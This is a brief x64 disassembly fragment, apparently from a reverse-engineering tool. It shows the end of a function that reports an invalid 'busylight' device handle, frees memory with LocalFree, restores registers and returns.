jmp 0x140001b85
mov edx, dword [rdi + 8]
lea rcx, str.ERROR_qull_m_busylight_device_send_raw____device__u__Invalid_Device_Busy_Handle_n
call fcn.14000b8cc
and esi, ebp
test r12d, r12d
je 0x140001b91
mov rdi, qword [rdi]
jmp 0x140001b94
mov rdi, r13
test rdi, rdi
jne 0x140001b0c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r11, [rsp + 0x40]
mov eax, esi
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret